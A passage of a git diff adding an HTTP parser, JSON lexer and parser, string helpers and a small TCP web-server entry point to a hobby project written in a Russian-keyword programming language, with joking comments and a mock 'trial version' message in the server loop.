расширение.туловище # "" { + ответ.туловище := расширение.туловище + } иначе { + ответ.туловище := база.туловище + } + + вернуть ответ +} diff --git a/исх/сеть/хттп/парсер.tri b/исх/сеть/хттп/парсер.tri new file mode 100644 index 0000000..ee49671 --- /dev/null +++ b/исх/сеть/хттп/парсер.tri @@ -0,0 +1,235 @@ +модуль хттп + +импорт "исх/строка" +импорт "исх/вперед-назад" +импорт "исх/сеть/тцп" + +фн сериализовать хттп ответ*(р: ХттпОтвет): Строка { + пусть ответ := строка.собрать(строка.ф("$стр $цел $стр\r\n", р.версия, р.код, р.состояние)) + + пусть есть размер контента := ложь + + цикл [номер]заглавие среди р.заглавия { + если заглавие.имя = "Content-Length" { есть размер контента := истина } + ответ := строка.собрать(ответ, строка.ф("$стр: $стр\r\n", заглавие.имя, заглавие.значение)) + } + + если ~ есть размер контента { + ответ := строка.собрать(ответ, строка.ф("Content-Length: $цел\r\n", длина(р.туловище(:Строка8)))) + } + + ответ := строка.собрать(ответ, "\r\n") + + если длина(р.туловище) > 0 { + ответ := строка.собрать(ответ, р.туловище) + } + + вернуть ответ +} + +фн отправить хттп ответ*(с: тцп.ТцпСоединение, р: ХттпОтвет) { + пусть данные := сериализовать хттп ответ(р) + с.записать(данные) +} + +фн разобрать хттп обращение*(с: вперед-назад.Крипипаста): ХттпОбращение { + пусть сколько читаем = 1024 + пусть прочитано := 0 + пусть обращение = ХттпОбращение{} + пусть данные := "" + пусть первая линия := "" + пусть добрались до тела := ложь + пусть размер контента: Цел64 := -1 + + пока истина { + пусть сколько прочитать: Цел64 := -1 + если размер контента > 0 & добрались до тела { + сколько прочитать := размер контента - прочитано + } + + если сколько прочитать = 0 { + вернуть обращение + } + + пусть новые данные = с.прочитать(сколько читаем) + прочитано := прочитано + длина(новые данные) + если длина(новые данные) = 0 { + вернуть обращение + } + + данные := строка.собрать(данные, новые данные) + + если ~ добрались до тела { + пока длина(данные) > 0 { + пусть конец строки = строка.индекс(данные, 0, "\n") + + если конец строки = -1 { + прервать + } + + пусть линия = строка.обрезать пробельные символы(строка.извлечь(данные, 0, конец строки)) + данные := строка.извлечь(данные, конец строки + 1, длина(данные(:Строка8)) - конец строки) + + если линия = "" { + если размер контента > 0 { + пусть индекс переноса = строка.индекс(данные, 0, "\n") + + добрались до тела := истина + данные := строка.извлечь(данные, индекс переноса + 1, длина(данные(:Строка8)) - индекс переноса) + прочитано := длина(данные(:Строка8)) + обращение.туловище := данные + данные := "" + + прервать + } иначе { + вернуть обращение + } + } + + если первая линия = "" { + первая линия := линия + + пусть части = строка.разобрать(первая линия, " ") + + если длина(части) >= 1 { обращение.метод := части[0] } + если длина(части) >= 2 { + цикл [номер]часть среди части { + если номер > 0 & номер < длина(части) - 1 { + если номер > 1 { + обращение.путь := строка.собрать(обращение.путь, " ") + } + + обращение.путь := строка.собрать(обращение.путь, часть) + } + } + } + если длина(части) >= 3 { обращение.версия := части[длина(части) - 1] } + } иначе { + пусть заглавие = ХттпЗаглавие{} + + строка.разделить(линия, ":", заглавие.имя, заглавие.значение) + + заглавие.имя := строка.обрезать пробельные символы(заглавие.имя) + заглавие.значение := строка.обрезать пробельные символы(заглавие.значение) + + если размер контента < 0 & заглавие.имя = "Content-Length" { + пусть новый размер контента := 0 + пусть номер байта := 0 + + если строка.извлечь цел(заглавие.значение, номер байта, новый размер контента) { + размер контента := новый размер контента + } + } + + обращение.заглавия.добавить(заглавие) + } + } + } иначе { + обращение.туловище := строка.соединить(обращение.туловище, данные) + } + } + + вернуть обращение +} + +фн разобрать хттп ответ*(с: тцп.ТцпСоединение): ХттпОтвет { + пусть сколько читаем = 1024 + пусть прочитано := 0 + пусть ответ = ХттпОтвет{} + пусть данные := "" + пусть первая линия := "" + пусть добрались до тела := ложь + пусть размер контента: Цел64 := -1 + + пока истина { + пусть сколько прочитать: Цел64 := -1 + если размер контента > 0 & добрались до тела { + сколько прочитать := размер контента - прочитано + } + + если сколько прочитать = 0 { + вернуть ответ + } + + пусть новые данные = с.прочитать(сколько читаем) + прочитано := прочитано + длина(новые данные) + если длина(новые данные) = 0 { + вернуть ответ + } + + данные := строка.собрать(данные, новые данные) + + если ~ добрались до тела { + пока длина(данные) > 0 { + пусть конец строки = строка.индекс(данные, 0, "\n") + + если конец строки = -1 { + прервать + } + + пусть линия = строка.обрезать пробельные символы(строка.извлечь(данные, 0, конец строки)) + данные := строка.извлечь(данные, конец строки + 1, длина(данные(:Строка8)) - конец строки) + + если линия = "" { + если размер контента > 0 { + добрались до тела := истина + прочитано := длина(данные(:Строка8)) + ответ.туловище := данные + данные := "" + + прервать + } иначе { + вернуть ответ + } + } + + если первая линия = "" { + первая линия := линия + + пусть части = строка.разобрать(первая линия, " ") + + если длина(части) >= 1 { ответ.версия := части[0] } + если длина(части) >= 2 { + пусть новый код := 0 + пусть номер байта := 0 + если строка.извлечь цел(части[1], номер байта, новый код) { + ответ.код := новый код + } + } + если длина(части) >= 3 { + цикл [номер]часть среди части { + если номер >= 2 { + если номер > 2 { + ответ.состояние := строка.собрать(ответ.состояние, " ") + } + ответ.состояние := строка.собрать(ответ.состояние, часть) + } + } + } + } иначе { + пусть заглавие = ХттпЗаглавие{} + + строка.разделить(линия, ":", заглавие.имя, заглавие.значение) + + заглавие.имя := строка.обрезать пробельные символы(заглавие.имя) + заглавие.значение := строка.обрезать пробельные символы(заглавие.значение) + + если размер контента < 0 & заглавие.имя = "Content-Length" { + пусть новый размер контента := 0 + пусть номер байта := 0 + + если строка.извлечь цел(заглавие.значение, номер байта, новый размер контента) { + размер контента := новый размер контента + } + } + + ответ.заглавия.добавить(заглавие) + } + } + } иначе { + ответ.туловище := строка.соединить(ответ.туловище, данные) + } + } + + вернуть ответ +} diff --git a/исх/сеть/хттп/типы.tri b/исх/сеть/хттп/типы.tri new file mode 100644 index 0000000..4b732a1 --- /dev/null +++ b/исх/сеть/хттп/типы.tri @@ -0,0 +1,24 @@ +модуль хттп + +тип ХттпЗаглавие* = класс { + имя*: Строка := "" + значение*: Строка := "" +} + +тип ХттпЗаглавия* = []ХттпЗаглавие + +тип ХттпОбращение* = класс { + метод*: Строка := "" + путь*: Строка := "" + версия*: Строка := "" + заглавия*: ХттпЗаглавия := ХттпЗаглавия[] + туловище*: Строка := "" +} + +тип ХттпОтвет* = класс { + версия*: Строка := "HTTP/1.1" + код*: Цел64 := 200 + состояние*: Строка := "OK" + заглавия*: ХттпЗаглавия := ХттпЗаглавия[] + туловище*: Строка := "" +} diff --git a/исх/спринтф/спринтф.tri b/исх/спринтф/спринтф.tri new file mode 100644 index 0000000..0b372d4 --- /dev/null +++ b/исх/спринтф/спринтф.tri @@ -0,0 +1,9 @@ +модуль спринтф + +импорт "стд::строки" + +фн ф*(формат: Строка, список: ...*): Строка { + пусть сб = строки.Сборщик{} + сб.ф(формат, список...) + вернуть сб.строка() +} diff --git a/исх/сраб.tri b/исх/сраб.tri new file mode 100644 index 0000000..2b9e371 --- /dev/null +++ b/исх/сраб.tri @@ -0,0 +1,78 @@ +модуль сраб + +импорт "стд::вывод" +импорт "стд::комстрока" +импорт "исх/спринтф" +импорт "исх/струя" +импорт "исх/сеть/тцп" +импорт "исх/сеть/хттп" +импорт "исх/маршруты" +импорт "исх/сборщик-мусора" +импорт "исх/миграции" +импорт "исх/картотека" +импорт "исх/вперед-назад" +импорт "исх/стд-вперед-назад" +импорт "исх/отдых" + +пусть маршрутизатор = маршруты.получить маршрутизатор() + +фн обработать тцп подключение(соединение полиморф: *) { + пусть соединение = соединение полиморф(:тцп.ТцпСоединение) + пусть обращение = хттп.разобрать хттп обращение(соединение) + пусть ответ = маршрутизатор.обработать обращение(обращение) + + // вывод.ф("$стр $стр -> $цел\n", обращение.метод, обращение.путь, ответ.код) + + хттп.отправить хттп ответ(соединение, ответ) + соединение.закрыть() +} + +фн обработать стдвнутрь подключение() { + пусть обращение = хттп.разобрать хттп обращение(стд-вперед-назад.СтдВнутрь{}) + + // вывод.ф("$стр $стр\n", обращение.метод, обращение.путь) + + пусть ответ = маршрутизатор.обработать обращение(обращение) + пусть данные = хттп.сериализовать хттп ответ(ответ) + + стд-вперед-назад.ошибка(данные) +} + +вход { + комстрока.логическая настройка("подшефный", ложь, "") + комстрока.логическая настройка("роанапур", ложь, "") + комстрока.разобрать() + + пусть подшефный = комстрока.логическое значение("подшефный") + пусть роанапур = комстрока.логическое значение("роанапур") + + если подшефный { + обработать стдвнутрь подключение() + } иначе если роанапур { + миграции.мигрировать(картотека.зайти()) + } иначе { + миграции.мигрировать(картотека.зайти()) + + пусть номер причала = 1337 + + вывод.ф("Готовим сервер у причала $цел\n", номер причала) + + пусть сервер = тцп.создать сервер(номер причала) + пусть обработано запросов := 0 + + пока истина { + пусть подключение = сервер.принять чертово соединение() + пусть новая струя = струя.новая струя(обработать тцп подключение, подключение) + струя.отсоединить струю(новая струя) + + обработано запросов++ + + если обработано запросов > 100000 { + вывод.ф("Вы используете пробную версию программы. Пожалуйста, приобретите полную версию для продолжения использования.\n") + прервать + } + } + + вывод.ф("Котенок умер\n") + } +} diff --git a/исх/стд-вперед-назад/ввод.tri b/исх/стд-вперед-назад/ввод.tri new file mode 100644 index 0000000..ebe7539 --- /dev/null +++ b/исх/стд-вперед-назад/ввод.tri @@ -0,0 +1,23 @@ +модуль стд-вперед-назад + +// c:include "stdin.h" + +фн stdin_read_to_string(bytes: Цел64): Строка @внеш +фн stderr_write_string(data: Строка) @внеш + +тип СтдВнутрь* = класс { + +} + +фн (внутрь: СтдВнутрь) прочитать*(сколько: Цел64): Строка { + вернуть прочитать(сколько) +} + +фн прочитать*(сколько: Цел64): Строка { + вернуть stdin_read_to_string(сколько) +} + +фн ошибка*(данные: Строка) { + stderr_write_string(данные) +} + diff --git a/исх/строка/строка.tri b/исх/строка/строка.tri new file mode 100644 index 0000000..04248c6 --- /dev/null +++ b/исх/строка/строка.tri @@ -0,0 +1,184 @@ +модуль строка + +импорт "стд::строки" +импорт "стд::юникод" +импорт "исх/массивы" + +тип Байты = []Байт + +фн tri_substring(с: Строка8, первый-байт: Цел64, число-байтов: Цел64): Строка @внеш +фн tri_substring_from_bytes(байты: Байты, первый-байт: Цел64, число-байтов: Цел64): Строка @внеш + +фн заменить*(с: Строка, подстрока: Строка, замена: Строка): Строка { + надо длина(подстрока) > 0 иначе вернуть с + + пусть с8 = с(:Строка8) + пусть п8 = подстрока(:Строка8) + + пусть № := индекс(с, 0, подстрока) + надо № >= 0 иначе вернуть с + + пусть сб = строки.Сборщик{} + пусть №-старт := 0 + пока истина { + сб.добавить строку(строки.извлечь(с8(:Строка), №-старт, № - №-старт)) + сб.добавить строку(замена) + + №-старт := № + длина(п8) + № := индекс(с, №-старт, подстрока) + надо № >= 0 иначе прервать + надо №-старт < длина(замена) иначе прервать + } + сб.добавить строку(строки.извлечь(с8(:Строка), №-старт, длина(с8) - №-старт)) + + вернуть сб.строка() +} + +фн разобрать*(с: Строка, разделитель: Строка): массивы.Строки { + пусть р8 = разделитель(:Строка8) + + выбор длина(р8) { + когда 0: вернуть массивы.Строки[с] + когда 1: + вернуть разобрать1(с, р8[0]) + другое + авария("не реализовано - длина разделителя > 1") + } + вернуть массивы.Строки[] +} + +фн соединить*(разделитель: Строка, строчки: ...Строка): Строка { + вернуть строки.соединить(разделитель, строчки...) +} + +фн ф*(формат: Строка, аргументы: ...*): Строка { + пусть сб = строки.Сборщик{} + сб.ф(формат, аргументы...) + вернуть сб.строка() +} + +фн разобрать1(с: Строка, разделитель: Байт): массивы.Строки { + пусть рез = массивы.Строки[] + пусть с8 = с(:Строка8) + пусть № := 0 + пусть №-разд := -1 + пока № < длина(с8) { + если с8[№] = разделитель { + если №-разд + 1 = № { + рез.добавить("") + } иначе { + рез.добавить(tri_substring(с8, №-разд+1, № - №-разд - 1)) + } + №-разд := № + } + №++ + } + рез.добавить(tri_substring(с8, №-разд+1, длина(с8) - №-разд - 1)) + + вернуть рез +} + +фн собрать*(список строк: ...Строка): Строка { + надо длина(список строк) > 0 иначе вернуть "" + + пусть размер := 0 + пусть № := 0 + пока № < длина(список строк) { + размер := размер + длина(список строк[№](:Строка8)) + №++ + } + + пусть сб = строки.Сборщик{} + № := 0 + пока № < длина(список строк) { + сб.добавить строку(список строк[№]) + №++ + } + + вернуть сб.строка() +} + +фн индекс*(с: Строка, №-старт: Цел64, подстрока: Строка): Цел64 { + вернуть строки.индекс(с, №-старт, подстрока) +} + +фн извлечь*(с: Строка, №-байта: Цел64, число-байтов: Цел64): Строка { + вернуть строки.извлечь(с, №-байта, число-байтов) +} + +фн обрезать пробельные символы*(с: Строка): Строка { + + пусть с8 = с(:Строка8) + пусть №1 := 0 + пока №1 < длина(с8) { + надо с8[№1] < 0x80(:Байт) иначе прервать + надо юникод.пробельный символ?(с8[№1](:Символ)) иначе прервать + №1++ + } + + пусть №2 := длина(с8) + пока №2 > №1 { + пусть байт = с8[№2-1] + надо байт < 0x80(:Байт) иначе прервать + надо юникод.пробельный символ?(байт(:Символ)) иначе прервать + №2-- + } + + вернуть tri_substring(с8, №1, №2 - №1) +} + +фн разделить*(с: Строка, разделитель: Строка, первая := Строка, вторая := Строка): Лог { + + пусть и = индекс(с, 0, разделитель) + надо и >= 0 иначе { + первая := с + вторая := "" + вернуть ложь + } + + пусть с8 = с(:Строка8) + пусть р8 = разделитель(:Строка8) + + первая := tri_substring(с8, 0, и) + вторая := tri_substring(с8, и + длина(р8), длина(с8) - (и +длина(р8))) + + вернуть истина +} + +фн извлечь цел*(с: Строка, №-байта := Цел64, рез := Цел64): Лог { + рез := 0 + + пусть с8 = с(:Строка8) + надо №-байта < длина(с8) иначе вернуть ложь + + пусть нег = с8[№-байта] = '-'(:Байт) + если нег | с8[№-байта] = '+'(:Байт) { + №-байта++ + надо №-байта < длина(с8) иначе вернуть ложь + } + + пусть сим := с8[№-байта](:Символ) + надо сим >= '0' & сим <= '9' иначе вернуть ложь + + пусть число := 0 + пока истина { + пусть цифра = сим(:Цел64) - '0'(:Цел64) + + // проверка выхода за границу + надо число <= (0x7FFFFFFFFFFFFFFF(:Цел64) - цифра) / 10 иначе вернуть ложь + + число := число*10 + цифра + №-байта++ + если №-байта >= длина(с8) { + если нег { + число := - число + } + рез := число + вернуть истина + } + сим := с8[№-байта](:Символ) + + надо сим >= '0' & сим <= '9' иначе прервать + } + вернуть ложь +} diff --git a/исх/струя/струя-внутр/внутр.tri b/исх/струя/струя-внутр/внутр.tri new file mode 100644 index 0000000..b0f84bd --- /dev/null +++ b/исх/струя/струя-внутр/внутр.tri @@ -0,0 +1,3 @@ +модуль струя-внутр + +тип Струя* = фн (аргумент: *) diff --git a/исх/струя/струя.tri b/исх/струя/струя.tri new file mode 100644 index 0000000..de2b5da --- /dev/null +++ b/исх/струя/струя.tri @@ -0,0 +1,21 @@ +модуль струя + +импорт "исх/струя/струя-внутр" + +// c:include "pstruya.h" + +фн tri_thread_create(струя: струя-внутр.Струя, аргумент: *): Цел64 @внеш +фн tri_thread_join(ид: Цел64) @внеш +фн tri_thread_detach(ид: Цел64) @внеш + +фн новая струя*(струя: струя-внутр.Струя, аргумент: *): Цел64 { + вернуть tri_thread_create(струя, аргумент) +} + +фн ждать струю*(ид: Цел64) { + tri_thread_join(ид) +} + +фн отсоединить струю*(ид: Цел64) { + tri_thread_detach(ид) +} diff --git a/исх/форматы/джесон/лексер.tri b/исх/форматы/джесон/лексер.tri new file mode 100644 index 0000000..b993d22 --- /dev/null +++ b/исх/форматы/джесон/лексер.tri @@ -0,0 +1,296 @@ +модуль джесон + +импорт "стд::строки" +импорт "исх/массивы" +импорт "исх/спринтф" + +// да, это тоже цифры. просто поверьте +пусть цифры = массивы.Строки["1", "2", "3", "4", "5", "6", "7", "8", "9", "0", "-", "+"] + +тип ДжесонТокен = класс { + +} + +фн (токен: ДжесонТокен) в строку(): Строка { + вернуть "пустой токен. где вы его взяли вообще?" +} + +тип ДжесонТокены = []ДжесонТокен + +фн массив токенов в строку(токены: ДжесонТокены): Строка { + пусть рез := "" + + цикл [номер]токен среди токены { + рез := строки.собрать(рез, токен.в строку()) + } + + вернуть рез +} + +тип ТокенФигурнаяСкобка = класс(ДжесонТокен) { + закрывающая: Лог := ложь +} + +фн (токен: ТокенФигурнаяСкобка) в строку(): Строка { + если токен.закрывающая { + вернуть "}" + } иначе { + вернуть "{" + } +} + +тип ТокенКвадратнаяСкобка = класс(ДжесонТокен) { + закрывающая: Лог := ложь +} + +фн (токен: ТокенКвадратнаяСкобка) в строку(): Строка { + если токен.закрывающая { + вернуть "]" + } иначе { + вернуть "[" + } +} + +тип ТокенЗапятая = класс(ДжесонТокен) { + +} + +фн (токен: ТокенЗапятая) в строку(): Строка { + вернуть "," +} + +тип ТокенДвоеточие = класс(ДжесонТокен) { + +} + +фн (токен: ТокенДвоеточие) в строку(): Строка { + вернуть ":" +} + +тип ТокенЧисло = класс(ДжесонТокен) { + значение: Цел64 := 0 +} + +фн (токен: ТокенЧисло) в строку(): Строка { + вернуть спринтф.ф("$цел", токен.значение) +} + +тип ТокенСтрока = класс(ДжесонТокен) { + значение: Строка := "" +} + +фн (токен: ТокенСтрока) в строку(): Строка { + пусть строка := строки.заменить все(токен.значение, "\\", "\\\\") + строка := строки.заменить все(строка, "\"", "\\\"") + + вернуть спринтф.ф("\"$стр\"", строка) +} + +тип ТокенБульБуль = класс(ДжесонТокен) { + значение: Лог := ложь +} + +фн (токен: ТокенБульБуль) в строку(): Строка { + если токен.значение { + вернуть "true" + } иначе { + вернуть "false" + } +} + +фн съесть символ(стр := Строка, ошибка := Строка): Строка { + пусть символ = посмотреть но не трогать(стр, ошибка) + если ошибка # "" { вернуть "" } + + стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1) + вернуть символ +} + +фн съесть конкретный символ(стр := Строка, ожидаемый символ: Строка, ошибка := Строка): Строка { + пусть символ = посмотреть конкретный символ но не трогать(стр, ожидаемый символ, ошибка) + если ошибка # "" { вернуть "" } + + стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1) + вернуть символ +} + +фн посмотреть но не трогать(стр := Строка, ошибка := Строка): Строка { + если длина(стр) = 0 { + ошибка := "нежданный конец строки" + вернуть "" + } + + пусть символ := строки.извлечь(стр, 0, 1) + вернуть символ +} + +фн посмотреть конкретный символ но не трогать (стр := Строка, ожидаемый символ: Строка, ошибка := Строка): Строка { + если длина(стр) = 0 { + ошибка := спринтф.ф("нежданный конец строки, ожидался символ '$символ'", ожидаемый символ) + вернуть "" + } + + пусть символ = строки.извлечь(стр, 0, 1) + если символ # ожидаемый символ { + ошибка := спринтф.ф("ожидался символ '$стр', а пришёл '$символ'", ожидаемый символ, символ) + вернуть "" + } + + вернуть символ +} + +фн читать число(стр := Строка, ошибка := Строка): Цел64 { + пусть число := "" + + пока истина { + пусть символ = посмотреть но не трогать(стр, ошибка) + если ошибка # "" { вернуть 0 } + + пусть является цифрой := ложь + пусть является знаком := ложь + + цикл [номер]цифра среди цифры { + если символ = цифра { + является цифрой := истина + прервать + } + } + + если является цифрой { + число := строки.собрать(число, символ) + стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1) + } иначе { + если длина(число) = 0 { + ошибка := спринтф.ф("ожидалось число, а пришёл '$символ'", символ) + вернуть 0 + } + + пусть целое := 0 + пусть номер байта зачем он тебе нужен вообще глупая машина := 0 + пусть мне повезло = строки.извлечь цел(число, номер байта зачем он тебе нужен вообще глупая машина, целое) + + если ~мне повезло { + ошибка := спринтф.ф("ошибка преобразования числа '$число'", число) + } + + вернуть целое + } + } + + вернуть 0 +} + +фн читать строку(стр := Строка, ошибка := Строка): Строка { + съесть конкретный символ(стр, "\"", ошибка) + если ошибка # "" { вернуть "" } + + пусть экран := ложь + пусть строка := "" + + пока истина { + пусть символ = съесть символ(стр, ошибка) + если ошибка # "" { вернуть "" } + + если символ = "\\" { + экран := ~экран + } иначе если символ = "\"" & ~экран { + вернуть строка + } иначе { + экран := ложь + строка := строки.собрать(строка, символ) + } + } + + вернуть строка +} + +фн читать буль буль(стр := Строка, ошибка := Строка): Лог { + пусть истинаСтр = "true" + пусть ложьСтр = "false" + + если строки.есть префикс(стр, истинаСтр) { + стр := строки.извлечь(стр, длина(истинаСтр(:Строка8)), длина(стр(:Строка8)) - длина(истинаСтр(:Строка8))) + вернуть истина + } иначе если строки.есть префикс(стр, ложьСтр) { + стр := строки.извлечь(стр, длина(ложьСтр(:Строка8)), длина(стр(:Строка8)) - длина(ложьСтр(:Строка8))) + вернуть ложь + } иначе { + пусть символ = посмотреть но не трогать(стр, ошибка) + если ошибка # "" { вернуть ложь } + + ошибка := спринтф.ф("ожидалось 'true' или 'false', а пришёл '$символ'", символ) + вернуть ложь + } +} + +фн токенизировать(стр: Строка, ошибка := Строка): ДжесонТокены { + пусть токены = ДжесонТокены[] + пусть сколько открыто := 0 + + пока истина { + если длина(стр) = 0 & сколько открыто = 0 { + прервать + } + + пусть символ = посмотреть но не трогать(стр, ошибка) + если ошибка # "" { вернуть ДжесонТокены[] } + + пусть является цифрой := ложь + цикл [номер]цифра среди цифры { + если символ = цифра { + является цифрой := истина + прервать + } + } + + если символ = " " | символ = "\n" | символ = "\r" | символ = "\t" { + стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1) + } иначе если символ = "{" { + стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1) + + токены.добавить(ТокенФигурнаяСкобка{закрывающая: ложь}) + сколько открыто := сколько открыто + 1 + } иначе если символ = "}" { + стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1) + + токены.добавить(ТокенФигурнаяСкобка{закрывающая: истина}) + сколько открыто := сколько открыто - 1 + } иначе если символ = "[" { + стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1) + + токены.добавить(ТокенКвадратнаяСкобка{закрывающая: ложь}) + } иначе если символ = "]" { + стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1) + + токены.добавить(ТокенКвадратнаяСкобка{закрывающая: истина}) + } иначе если символ = "," { + стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1) + + токены.добавить(ТокенЗапятая{}) + } иначе если символ = ":" { + стр := строки.извлечь(стр, 1, длина(стр(:Строка8)) - 1) + + токены.добавить(ТокенДвоеточие{}) + } иначе если является цифрой { + пусть число = читать число(стр, ошибка) + если ошибка # "" { вернуть ДжесонТокены[] } + + токены.добавить(ТокенЧисло{значение: число}) + } иначе если символ = "\"" { + пусть строка = читать строку(стр, ошибка) + если ошибка # "" { вернуть ДжесонТокены[] } + + токены.добавить(ТокенСтрока{значение: строка}) + } иначе если символ = "t" | символ = "f" { + пусть буль = читать буль буль(стр, ошибка) + если ошибка # "" { вернуть ДжесонТокены[] } + + токены.добавить(ТокенБульБуль{значение: буль}) + } иначе { + ошибка := спринтф.ф("внезапный символ '$стр'", символ) + вернуть ДжесонТокены[] + } + } + + вернуть токены +} diff --git a/исх/форматы/джесон/парсер.tri b/исх/форматы/джесон/парсер.tri new file mode 100644 index 0000000..4fe8c58 --- /dev/null +++ b/исх/форматы/джесон/парсер.tri @@ -0,0 +1,259 @@ +модуль джесон + +импорт "исх/строка" +импорт "исх/спринтф" + +фн парсить массив(токены: ДжесонТокены, старт: Цел64, использовано токенов := Цел64, ошибка := Строка): ДжесонМногоЗначений { + пусть массив = ДжесонМногоЗначений{значения: ДжесонЗначения[]} + пусть текущий индекс := старт + + если текущий индекс >= длина(токены) { + ошибка := "неожиданный конец, ожидалась [" + вернуть ДжесонМногоЗначений{} + } + + пусть токен := токены[текущий индекс] + + выбор пусть т: тип токен { + когда ТокенКвадратнаяСкобка: + если т.закрывающая { + ошибка := спринтф.ф("ожидалась [, а получен $стр", токен.в строку()) + вернуть ДжесонМногоЗначений{} + } иначе { + текущий индекс++ + } + другое + ошибка := спринтф.ф("ожидалась [, а получен $стр", токен.в строку()) + вернуть ДжесонМногоЗначений{} + } + + пока текущий индекс < длина(токены) { + токен := токены[текущий индекс] + + пусть значение: ДжесонЗначение := ДжесонЗначение{} + + выбор пусть т: тип токен { + когда ТокенСтрока: + значение := ДжесонСтрока{значение: т.значение} + текущий индекс++ + когда ТокенЧисло: + значение := ДжесонЧисло{значение: т.значение} + текущий индекс++ + когда ТокенБульБуль: + значение := ДжесонЛог{значение: т.значение} + текущий индекс++ + когда ТокенКвадратнаяСкобка: + если т.закрывающая { + текущий индекс++ + использовано токенов := текущий индекс - старт + вернуть массив + } иначе { + ошибка := спринтф.ф("ожидалась значение или ], а получен $стр", токен.в строку()) + вернуть ДжесонМногоЗначений{} + } + когда ТокенФигурнаяСкобка: + если ~т.закрывающая { + пусть использовано := 0 + значение := парсить объект(токены, текущий индекс, использовано, ошибка) + + если ошибка # "" { вернуть ДжесонМногоЗначений{} } + + текущий индекс := текущий индекс + использовано + } + другое + ошибка := спринтф.ф("неожиданное значение: $стр", токен.в строку()) + вернуть ДжесонМногоЗначений{} + } + + массив.значения.добавить(значение) + + если текущий индекс >= длина(токены) { + ошибка := "неожиданный конец, ожидался , или ]" + вернуть ДжесонМногоЗначений{} + } + + токен := токены[текущий индекс] + + выбор пусть т: тип токен { + когда ТокенКвадратнаяСкобка: + если т.закрывающая { + текущий индекс++ + использовано токенов := текущий индекс - старт + вернуть массив + } иначе { + ошибка := спринтф.ф("ожидалась , или ], а получен $стр", токен.в строку()) + вернуть ДжесонМногоЗначений{} + } + когда ТокенЗапятая: + текущий индекс++ + другое + ошибка := спринтф.ф("ожидалась , или ], а получен $стр", токен.в строку()) + вернуть ДжесонМногоЗначений{} + } + } + + ошибка := "неожиданный конец во время парсинга массива" + вернуть ДжесонМногоЗначений{} +} + +фн парсить объект(токены: ДжесонТокены, старт: Цел64, использовано токенов := Цел64, ошибка := Строка): ДжесонОбъект { + пусть объект = ДжесонОбъект{} + пусть текущий индекс := старт + + если текущий индекс >= длина(токены) { + ошибка := "неожиданный конец, ожидалось {" + вернуть ДжесонОбъект{} + } + + пусть токен := токены[текущий индекс] + + выбор пусть т: тип токен { + когда ТокенФигурнаяСкобка: + если т.закрывающая { + ошибка := спринтф.ф("ожидалась {, а получен $стр", токен.в строку()) + вернуть ДжесонОбъект{} + } иначе { + текущий индекс++ + } + другое + ошибка := спринтф.ф("ожидалась {, а получен $стр", токен.в строку()) + вернуть ДжесонОбъект{} + } + + пока текущий индекс < длина(токены) { + токен := токены[текущий индекс] + пусть ключ := "" + + выбор пусть т: тип токен { + когда ТокенСтрока: + ключ := т.значение + текущий индекс++ + когда ТокенФигурнаяСкобка: + если т.закрывающая { + текущий индекс++ + использовано токенов := текущий индекс - старт + вернуть объект + } иначе { + ошибка := спринтф.ф("ожидалась строка (ключ), а получен $стр", токен.в строку()) + вернуть ДжесонОбъект{} + } + другое + ошибка := спринтф.ф("ожидалась строка (ключ), а получен $стр", токен.в строку()) + вернуть ДжесонОбъект{} + } + + если текущий индекс >= длина(токены) { + ошибка := "неожиданный конец, ожидалось :" + вернуть ДжесонОбъект{} + } + + токен := токены[текущий индекс] + выбор пусть т: тип токен { + когда ТокенДвоеточие: + текущий индекс++ + другое + ошибка := спринтф.ф("ожидался :, а получен $стр", токен.в строку()) + вернуть ДжесонОбъект{} + } + + если текущий индекс >= длина(токены) { + ошибка := "неожиданный конец, ожидалось значение" + вернуть ДжесонОбъект{} + } + + токен := токены[текущий индекс] + + пусть значение: ДжесонЗначение := ДжесонЗначение{} + выбор пусть т: тип токен { + когда ТокенСтрока: + значение := ДжесонСтрока{значение: т.значение} + текущий индекс++ + когда ТокенЧисло: + значение := ДжесонЧисло{значение: т.значение} + текущий индекс++ + когда ТокенБульБуль: + значение := ДжесонЛог{значение: т.значение} + текущий индекс++ + когда ТокенФигурнаяСкобка: + если ~т.закрывающая { + пусть использовано := 0 + значение := парсить объект(токены, текущий индекс, использовано, ошибка) + + если ошибка # "" { вернуть ДжесонОбъект{} } + + текущий индекс := текущий индекс + использовано + } иначе { + ошибка := спринтф.ф("ожидалось значение, а получен $стр", токен.в строку()) + вернуть ДжесонОбъект{} + } + когда ТокенКвадратнаяСкобка: + если т.закрывающая { + ошибка := спринтф.ф("ожидалось значение, а получен $стр", токен.в строку()) + вернуть ДжесонОбъект{} + } иначе { + пусть использовано := 0 + значение := парсить массив(токены, текущий индекс, использовано, ошибка) + + если ошибка # "" { вернуть ДжесонОбъект{} } + текущий индекс := текущий индекс + использовано + } + другое + ошибка := спринтф.ф("неожиданное значение: $стр", токен.в строку()) + вернуть ДжесонОбъект{} + } + + объект.значения.добавить(ДжесонКлючЗначение{ключ: ключ, значение: значение}) + + если текущий индекс >= длина(токены) { + ошибка := "неожиданный конец, ожидался , или }" + вернуть ДжесонОбъект{} + } + + токен := токены[текущий индекс] + + выбор пусть т: тип токен { + когда ТокенЗапятая: + текущий индекс++ + когда ТокенФигурнаяСкобка: + если т.закрывающая { + текущий индекс++ + использовано токенов := текущий индекс - старт + вернуть объект + } иначе { + ошибка := спринтф.ф("ожидалась , или }, а получен $стр", токен.в строку()) + вернуть ДжесонОбъект{} + } + другое + ошибка := спринтф.ф("ожидалась , или }, а получен $стр", токен.в строку()) + вернуть ДжесонОбъект{} + } + } + + ошибка := "неожиданный конец во время парсинга объекта" + вернуть ДжесонОбъект{} +} + +фн парсить токены(токены: ДжесонТокены, ошибка := Строка): ДжесонОбъект { + пусть использовано токенов := 0 + вернуть парсить объект(токены, 0, использовано токенов, ошибка) +} + +фн парсить*(строка: Строка, ошибка := Строка): ДжесонОбъект { + пусть токены = токенизировать(строка, ошибка) + + если ошибка # "" { + вернуть ДжесонОбъект{} + } + + пусть объект = парсить токены(токены, ошибка) + + если ошибка # "" { + вернуть ДжесонОбъект{} + } + + вернуть 